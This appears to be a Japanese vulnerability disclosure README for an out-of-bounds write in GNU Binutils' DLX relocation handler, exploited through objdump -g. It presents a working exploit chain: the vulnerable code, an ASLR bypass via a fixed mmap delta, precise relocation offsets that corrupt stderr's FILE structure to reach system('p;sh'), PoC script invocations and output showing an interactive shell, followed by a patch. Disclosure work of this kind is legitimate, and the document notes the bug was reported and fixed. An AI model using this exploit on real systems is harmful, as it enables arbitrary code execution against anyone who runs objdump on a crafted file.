
対象: GNU Binutils (全バージョンからHEADまで) — objdump
環境: Debian 13 (Trixie), glibc 2.41, x86_64
影響: 任意コード実行
経路: 細工されたELFファイルをobjdump -gで処理
ASLR: バイパス (決定論的mmapデルタ)
bikini氏には、この発見に関する紹介とフェアプレイに心から感謝します。彼は素晴らしい人物で、お話しできて嬉しかったです。彼自身も素晴らしい発見をしています。彼の成果をぜひご覧ください!
bfd/elf32-dlx.cR_DLX_RELOC_26_PCREL リロケーションハンドラ (elf32_dlx_relocate26) は、オフセットがセクションサイズに対して検証されることなく、data + reloc_entry->address で4バイトの読み取り/書き込みを行います。この関数は bfd_reloc_ok を返すため、bfd/reloc.c の汎用範囲チェックが完全にバイパスされます。
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB読み取り
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // 26ビットの符号拡張
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB書き込み
return bfd_reloc_ok; // 範囲チェックをスキップ
オフセット reloc_entry->address はELFファイルから直接読み取られ、セクションバッファを超えた任意の位置を指すことができます。
x86_64では、ELF32オフセットはゼロ拡張されるため、書き込みは正のオフセットに制限されます。.debug_info セクションが128KB以上の場合、malloc() は mmap() を使用するよう強制され、バッファがlibcのデータセグメントに隣接して配置されます。
┌──────────────────────────────────────┐ ← 同じmmap領域
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── 偽造 _IO_wide_data (+0x1000) │
│ └── 偽造 _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
デルタ stderr - data = 0x21A4D0 は、libc読み込み中の同じmmapによって両方の領域が割り当てられるため、ASLR実行間で一定です。
objdumpがstderrに書き込み ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/HEAD/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
data + 0x1000 : 偽造 _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : 偽造 _IO_jump_t
+0x68 : __doallocate → system()
このエクスプロイトは2~4文字のコマンドをサポートします。リロケ0で_flags[0:3]が書き込まれ、リロケ4で_flags[3]が書き込まれ、パディングがクリアされることで、自然なnull終端の前にsystem()に最大4文字が渡されます。
最初の2バイトのみがglibcのFILEフラグレイアウトによって制約されます。
cmd[2]とcmd[3]は制約なし。
# DLXターゲットをサポートしてbinutilsをビルド
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
# ステップ1: 悪意のあるELFを生成 (コマンドを選択)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# ステップ2: エクスプロイトを実行 (ASLRオン、スタンドアロン、GDB不要)
python3 poc_ptrace.py --cmd "p;sh" # 対話型シェル
python3 poc_ptrace.py --cmd "p;id" # uid/gid表示
python3 poc_ptrace.py # デフォルト: "ps"
エクスプロイトはASLRのバイト3不一致に対して最大5回自動リトライ(試行あたり約12%)、約99.998%の成功率に達します。
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← 対話型シェル
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
セクションデータにアクセスする前に、elf32_dlx_relocate26()に範囲チェックを追加します。
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
| ファイル | 説明 |
|---|---|
poc_generate.py | 5つのOOBリロケを含む悪意のあるDLX ELFペイロード (exploit.bin) を生成 |
poc_ptrace.py | スタンドアロンエクスプロイト — ptraceベースのASLRバイパス、リトライループ、GDB不要 |
この脆弱性はGNU Binutilsメンテナに報告されました。エクスプロイトコードは認可されたセキュリティ研究目的でのみ提供されます。
https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5
| # | ターゲット(dataからのオフセット) | 効果 |
|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → system()引数の開始 |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → フラッシュを強制 → オーバーフロー |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → 偽造 _IO_wide_data を指す |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3]、パディングがクリア → null終端 |
| ビット | フラグ | 制約 | 理由 |
|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | そうでなければ_IO_wdoallocbufは__doallocateをスキップ |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | そうでなければオーバーフローは即座にWEOFを返す |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | doallocateブロックに入るために必要 |
| コマンド | バイト | 効果 |
|---|
"ps" | 70 73 | プロセス一覧 |
"p;sh" | 70 3B 73 68 | 対話型シェル起動 ← 最も有用 |
"p;ls" | 70 3B 6C 73 | ディレクトリ一覧 |
"p;id" | 70 3B 69 64 | uid/gid表示 |
exploit.bin | 事前生成されたペイロード (デフォルトコマンド "p;sh") |